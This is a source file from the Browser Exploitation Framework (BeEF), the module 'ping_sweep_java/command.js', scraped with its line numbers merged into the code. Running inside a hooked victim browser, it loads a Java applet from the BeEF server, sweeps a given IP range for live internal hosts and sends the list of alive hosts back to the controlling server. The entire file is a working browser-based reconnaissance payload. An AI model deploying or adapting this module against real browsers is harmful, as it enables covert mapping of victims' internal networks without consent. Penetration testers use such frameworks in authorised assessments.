Path: blob/master/modules/network/ping_sweep_java/command.js
1155 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567beef.execute(function() {89var ipRange = "<%= @ipRange %>";10var timeout = "<%= @timeout %>";11var appletTimeout = 30;12var output = "";13var hostNumber = 0;14var internal_counter = 0;15var firstMsgSent = false;1617beef.dom.attachApplet('pingSweep', 'pingSweep', 'pingSweep', beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/", null, [{'ipRange':ipRange, 'timeout':timeout}]);1819function waituntilok() {20try {21hostNumber = document.pingSweep.getHostsNumber();22if(hostNumber != null && hostNumber > 0){23if(!firstMsgSent){24beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Applet attached.<br>Hosts to check: ' + hostNumber + '<br>Required time (s): ~' + (timeout * hostNumber)/1000);25firstMsgSent = true;26}27output = document.pingSweep.getAliveHosts();28clearTimeout(int_timeout);29clearTimeout(ext_timeout);30beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());31beef.dom.detachApplet('pingSweep');32return;33}else{34beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());35return;36}37} catch (e) {38internal_counter++;39if (internal_counter > appletTimeout) {40beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Timeout after '+appletTimeout+' seconds');41beef.dom.detachApplet('pingSweep');42return;43}44int_timeout = setTimeout(function() {waituntilok()},1000);45}46}4748ext_timeout = setTimeout(function() {waituntilok()},5000);4950});51525354